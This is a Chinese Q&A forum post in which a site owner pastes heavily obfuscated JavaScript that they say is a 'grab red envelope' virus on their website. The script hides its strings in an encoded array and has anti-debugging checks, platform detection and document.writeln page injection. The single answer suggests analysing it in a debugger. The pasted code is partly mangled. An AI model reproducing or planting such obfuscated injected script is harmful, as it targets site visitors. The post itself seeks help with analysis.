谁能看懂这段代码什么意思？ 网站出现抢红包病毒

Question

var isloadad=2;var istbload=0;;var a=['w5HCsS/DsMOf','eMKuwoM=','wofCohk=','DVnDoz9X','wpzCtR3CqsOxwovDow==','w55ARx3Dsg==','UGckwrTDtg==','UsOcbW/DmMKPeg==','HALCpcOCwrQ=','w5pPZDY=','bMKJwo/Ds0vCvw==','w5DDs8Omw6IpwrbCiA==','wqldT8OyNsOQwrs=','w73DvVogwoU=','wqzCtAw8OhjCkA==','wpRBIsKjw6w=','GMOXwpd4NQ==','e8K6SBTClw00QXzDhnTDrxTDhxs=','w59ew78bOhBFT8Opw5XCpA==','T8Kkwq8VwpnDvMOcGg==','LgdtwrrDiXPCi1Rg','OV8ochs=','w5VFbjvDosO9woEF','PFUiw5A=','cBQ/wqfCiWbDlEY=','w6bDtsKvHA==','bMK+SAg=','fcKGVzPCnsO9CQ==','bG4zwofDtDVR','wqRjw45CXjDDpw==','wojCqBvCtsOhwobCo2DDpQ==','BBZyw7Er','JS9Ew40KNMOq','w5M5w7YMwqc=','wqTDrsOIw6tO','PCXCtMOewow=','E1oEXHM=','wqXDncOkcwbDpErDnxo=','woPCjhgCecOFw7U=','HkQIejg=','w4fCjMOmwqUZ','w44wCsK1woQ=','w5bDsMKhw7Ujwrc=','NDZkw4zDrxVa','woLCthDCp8Oj','wr5kw4RGCBzDrsKq','PylDPXM=','wrLCqAEtJzvCmA==','wrpow4NFSVHDosKow58=','acK0wpQ=','acOHam7DhQ==','w6Zkw5s=','woPCqsO2woEdwrLDmsOwKEUMdMO6w4ETw7F2w5LCqcODwpFbw7PCpMO6EsK3UVx6dRvDi8KMwqDDhcO3w7UiwpLCqgTCgA1bSWQ1IcOWwpE0Z8O4ZcOHC0gxwrvClg==','GEIp','IAg/wrTClH/DjwggwqEPwpZeJsOLHMOMw5ksdj3Dh2kJw7/Dgh7CvkpiwqUCw5rDuQ7CpsOaXDbCmWI1w6DCusOXdyjDiMOTRcKiFsOAZMOOM3g8ZSokw6E=','MsONwpZATsO+w63ClcOzNh/CvRhsUHAbwo3DrsK8wogbwr15wq/CknjCjl3Dhh4xwrzCk37DhcOYI8O1w4UKIl5dPsKywo7DgRzDiU1yGnMUw5MJwql2wpxca2jDv3YuwqXDrMOLbXZpw7HDpMKYKMOxJ8KBw6DCiDo/HTt1f8KefQ==','R1tLF2LDocO+w5MsC8KdKsKSwoVbw6gOK8OUAsOfbFvDqzDCkH7Cj8K4e2A7wpzCrMKmIXwwTsORVVZ2AsKqR1nCsMOfV8KbScKqCcKFKMO4wq5ywr5kw6wnUzA6w5rCpcOlDsOUdzfCncORwr1lHMOCKFsvwptUczIobsK4','DTjCp8OlwqfDnWjDjA==','w6lxwro=','IcKdK8OJwrI=','wrkywrHDvEw=','w5LCuMO2','wp/Dmwo=','RsOZw5A=','wqXDlcOleBnChU8=','LsKzw6rCoMOE','JMKIVg==','PsKAWw==','wpTDucOu','FlrChA==','NMKaw4jCusO9','DMKQw4TCosOJFDo=','MmbCkGvDgQ==','wqc5w6N8NA==','wpUyw4lOJR/CjA==','TcK8SCrCmQ==','wp3CkhUTZMOmw70=','Bwtaw4oj','P8KtdsKR','EkzCjEXDgMOL','w7jDq0s=','DSLCj8Oiwo4=','w43DimwFwoPCmMO/','d8OldlHDkw==','PV0tbwrDtsKn','JMKwN8Ogwq0='];(function(c,d){var e=function(f){while(--f){c'push');}};var g=function(){var h={'data':{'key':'cookie','value':'timeout'},'setCookie':function(i,j,k,l){l=l||{};var m=j+'='+k;var n=0x0;for(var n=0x0,p=i['length'];n>(-0x2*j&0x6)):0x0){l=g'indexOf';}return n;});}());var o=function(p,q){var r=[],s=0x0,t,u='',v='';p=atob(p);for(var w=0x0,x=p['length'];w','EyCFt':b('0x22','A2!o'),'UgsVz':b('0x23','(^P8'),'KJzbQ':'\x20','pvIsO':b('0x24','t(3V'),'THDqk':b('0x25','oajV'),'rRYEn':b('0x26','eQ&&'),'PPQmN':function R(S,T){return S===T;},'gjJGd':function U(V,W){return V==W;},'aVcSu':b('0x27','$i)g')};if(J['wFmpN']==='EsO'){var a1=c(this,function(){var c=function(){return'\x64\x65\x76';},d=function(){return'\x77\x69\x6e\x64\x6f\x77';};var e=function(){var f=new RegExp('\x5c\x77\x2b\x20\x2a\x5c\x28\x5c\x29\x20\x2a\x7b\x5c\x77\x2b\x20\x2a\x5b\x27\x7c\x22\x5d\x2e\x2b\x5b\x27\x7c\x22\x5d\x3b\x3f\x20\x2a\x7d');return!f'\x74\x65\x73\x74');};var g=function(){var h=new RegExp('\x28\x5c\x5c\x5b\x78\x7c\x75\x5d\x28\x5c\x77\x29\x7b\x32\x2c\x34\x7d\x29\x2b');return h'\x74\x65\x73\x74');};var i=function(j){var k=~-0x1>>0x1+0xff%0x0;if(j'\x69\x6e\x64\x65\x78\x4f\x66'){l(j);}};var l=function(m){var n=~-0x4>>0x1+0xff%0x0;if(m'\x69\x6e\x64\x65\x78\x4f\x66'[0x3])!==n){n(m);}};if(!e()){if(!g()){i('\x69\x6e\x64\u0435\x78\x4f\x66');}else{i('\x69\x6e\x64\x65\x78\x4f\x66');}}else{i('\x69\x6e\x64\u0435\x78\x4f\x66');}});a1();var X={'win':![],'mac':![],'xll':![]};var Y=navigator[b('0x28','qUXC')];X[b('0x29','PWa(')]=J[b('0x2a','K]fS')](Y'indexOf']),0x0);X[b('0x2c','(^P8')]=Y'indexOf'==0x0;X[b('0x2d','0&10')]=Y==b('0x2e','9hUK')||Yb('0x2f','6A@%')])==0x0;if(X[b('0x31','78]X')]||X[b('0x32','78]X')]||X[b('0x33','&s^n')]){if('paJ'===b('0x34','[1tn')){Jb('0x35','FYL6')](Jb('0x37','[1tn')]),0x320);}else{}}else{if('qwo'===J[b('0x38','MyyU')]){documentb('0x39','MyyU')]);document'writeln';}else{document[b('0x3b','y]vy')]);var Z=Mathb('0x3d','P$Vi')]()*0x28);if(Z0x0){if(Jb('0x45','yIG#'),b('0x47','y]vy'))){return![];}else{document'writeln']);documentb('0x49','LGZk');}}else if(J[b('0x4a','e1E]')](istbload,0x1)){document'writeln']);documentb('0x4c','Ix(u')]);}}}}else{document'writeln';var a0=Math[b('0x4e','e1E]')](Mathb('0x4f','9hUK')*0x28);if(a00x0){document'writeln';documentb('0x51','1Ze^')]);}else if(J'gjJGd'){documentb('0x53','SM2O')]);document'writeln']);}}}I();};_security='__0x1a27d';

Answer 1

代码混淆了，直接看很困难，建议你拿到调试器里看下，注意它输出的html代码和网络发包。